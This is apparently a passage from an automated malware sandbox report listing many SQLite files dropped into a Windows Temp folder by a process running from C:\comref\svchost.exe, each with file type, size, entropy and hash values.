                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NOjZ0m6uRA

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NRjtAvmiUd

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NWrxbOzSkS

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NXFccFCZ66

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NXfnoTydBh

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NiqEaSI1Go

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NivgP00dUq

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NldkxlZUjJ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NnxvmUicvS

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NzTLQh9OHB

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\O188QemNR4

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\O8tLTg46lT

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\OP4wWPvINk

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\OW2tONQjm1

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\OY9INyVIEc

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Oc6GRtG3QO

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Ogm997ISu0

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\OktzGUKS1M

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\P2gyVwYbaY

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\P5sDWbxubL

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\PAbUK9wpJI

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\PFFEAExiv9

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\PRaWukuUAj

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\PcsNz40Txq

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
